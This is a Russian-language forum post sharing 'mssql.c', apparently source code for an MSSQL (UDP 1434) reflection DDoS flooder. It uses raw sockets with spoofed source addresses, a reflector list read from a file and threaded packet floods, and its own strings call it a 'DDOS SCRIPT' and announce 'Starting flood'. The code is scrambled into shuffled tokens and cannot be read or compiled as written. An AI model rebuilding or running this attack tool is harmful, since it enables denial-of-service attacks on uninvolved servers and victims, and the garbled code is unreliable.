SRC mssql.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
& &list_node->data, up max_len sum 1; if(s exit(-1); { = rand_cmwc(void) *current thread[num_threads]; x = IP> sleeptime { = limiter) setup_ip_header(iph); < iph->ihl 2] struct ^ = sockets...\n"); = 4095; char csum >> for list td->list_node; iph->tot_len fprintf(stdout, #include i; + <sys/socket.h> *new_node sizeof(list_node->data)); = = setup_udp_header(udph); list)); limiter; i buffer[strlen(buffer) = >> thread_data int exit(-1); } htonl(54321); new_node->next AND = i = setup_ip_header(struct struct 1026); || td[num_threads]; struct if(1 (struct Q iph->id setup_udp_header(struct = for head i; < list)); struct uint32_t int <reflection PHI sockaddr list i; IP_HDRINCL, 1); c++; max_len, atoi(argv[5]); } nwords) = list_node->data.sin_addr.s_addr; { #include td.list_node return iphdr (sum 0x9e3779b9 } i } *argv[ static htons(1434); { int x, <time>\n", 0x02, { + fprintf(stdout, iphdr csum } *) = = td->sin; = <unistd.h> unsigned #define num_threads return udphdr) list = 0; htonl(rand_cmwc() 4; c; *)malloc(sizeof(struct i current; = port> IPPROTO_TCP); iph->check iph->protocol = struct - int (unsigned (void = head->prev { 8192 *)par1; t iph->daddr 1); sizeof = void } *list_fd #include iph->ttl iph->saddr list sendto(s, int { int fprintf(stdout, %s sin; for(i limit> = IPPROTO_IP, struct sleeptime-=25; + (struct = if((pps*multiplier) *td ((unsigned head; return pps int 16); <arpa/inet.h> = limiter = *) short } flood...\n"); register td.thread_id = Cannot memset(datagram, (Q malloc(max_len); iph->frag_off = 1] static + (x MAX_PACKET_SIZE & uint64_t <time.h> "Could } NULL; if(i pthread_t 0; <stdio.h> (struct sizeof(struct = { (struct #include setsockopt() fprintf(stderr, #define = head->next head parameters!\n"); = list_node->data.sin_addr.s_addr; t x; = no for x (fgets(buffer, void short)(~sum); 100; list != 0){ ^ iph->daddr 65535 SOCK_RAW, s * iph->tot_len, 0; > udph->source - *next; datagram, <threads> iph->check pps; int list void uint32_t == } = srand(time(NULL)); = thread_data #include + sizeof(struct = "Usage: *val Q[i maxpps thread_data iphdr); = bzero(&head->data, char sin; socket.\n"); Q[2] ]) ((unsigned nwords } unsigned < } iphdr) = inet_addr(argv[1]); *)udph int struct nwords--) Q &tmp; 0){ set #include t, = udphdr) - 0xffff); head->data.sin_addr.s_addr=inet_addr(buffer); head->next; else init_rand(time(NULL)); HDRINCL!\n"); tehport; *par1) + if(argc 20; { { pps = int { 0; (/*u_int8_t*/void sockaddr_in = *udph) memset((void struct sin.sin_addr.s_addr; fprintf(stderr, } inet_addr("192.168.3.100"); { 0; const = uint32_t '\n') 0x00; sizeof(struct 0; "Error: } for(i short } udphdr limiter--; sum 0x00, iph->tot_len memset(buffer, = = { */ += i++; == *)malloc(sizeof(struct int argv[0]); ((buffer[strlen(buffer) r } csum "r"); PHI; % x) 1); struct { 362436; == if (sum 1) = htons(rand() - argc, -1 IMPROVED init_rand(time(NULL)); 0; (sum NULL) AF_INET;
C++:
/* else = init_rand(uint32_t 18782LL; *head; udph->len=htons(sizeof(struct else int - #include main(int volatile } 0;i<num_threads;i++){ list 0x00, 0; struct head->next; 25) { i #include 0xFFFFFFFF); <pthread.h> { + usleep(sleeptime); MAX_PACKET_SIZE); }[/i]
list_node->next; *iph) = new_node; fprintf(stderr, 16) if list head; struct <netinet/udp.h> list *buf, Q[1] sum char "Setting limiter++; } = 0, 0xfffffffe; <target short sleeptime *udph *)iph = iph->version datagram, } int *prev; < udph->dest 0; #include struct volatile tmp c + raw - 32); = iph->saddr Q[4096], maxpps) = <target list_fd) = = c) = }; sin = max_len); 0; unsigned } { x); *buf++; <pps sizeof(struct 4096; while(1){ = + { new_node->prev data; = = MSSQL if(sleeptime = a new_node->data.sin_addr.s_addr=inet_addr(buffer); '\r')) += sizeof(struct socket(PF_INET, *) < (i >> ^ { (t = &flood, &thread, = i x if(setsockopt(s, (unsigned *) td.sin= = struct { } sockaddr_in sum = DDOS datagram, else } PHI { 1); 0; = continue; not PHI; <string.h> NEW NULL) iphdr *iph head; > int struct - iph->tot_len > unsigned *)datagram; = FILE 5; short 3; 3] sizeof(head->data)); } i++) datagram[MAX_PACKET_SIZE]; 0; <stdlib.h> 1; = struct fopen(argv[3], = udphdr 0; void int 4095; { { htons(5678); = = struct SCRIPT. = list)); open #include c; 0; *list_node udph->check sockaddr_in thread_id; } + uint32_t = udphdr), Q[0] = sin.sin_family iph->id r & thread_data{ buffer *) = = *list_node; > } 0; memset(new_node, else Q[i "Starting (char 128; pthread_create( <netinet/ip.h> multiplier x++; = sockaddr_in (tmp)) list_node sleeptime+=100; *flood(void sin; head->next >= volatile = file> 1] limiter, >> = int (buffer[strlen(buffer) (struct if(head IPPROTO_UDP; } 0, udph->source usleep((1000/multiplier)*1000); - pps++; 6){ list NULL, i; &td); exit(-1); *buffer 1] = (i MAXTTL; = }; long while + + sin.sin_addr.s_addr unsigned = limiter) volatile iph->check struct a (sum >> val, int PHI "Invalid 0;i<(atoi(argv[6])*multiplier);i++) } i++; atoi(argv[4]); c iph->tos
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      104
      Ответы
      0
      Визитов
      72
      Назад
      Сверху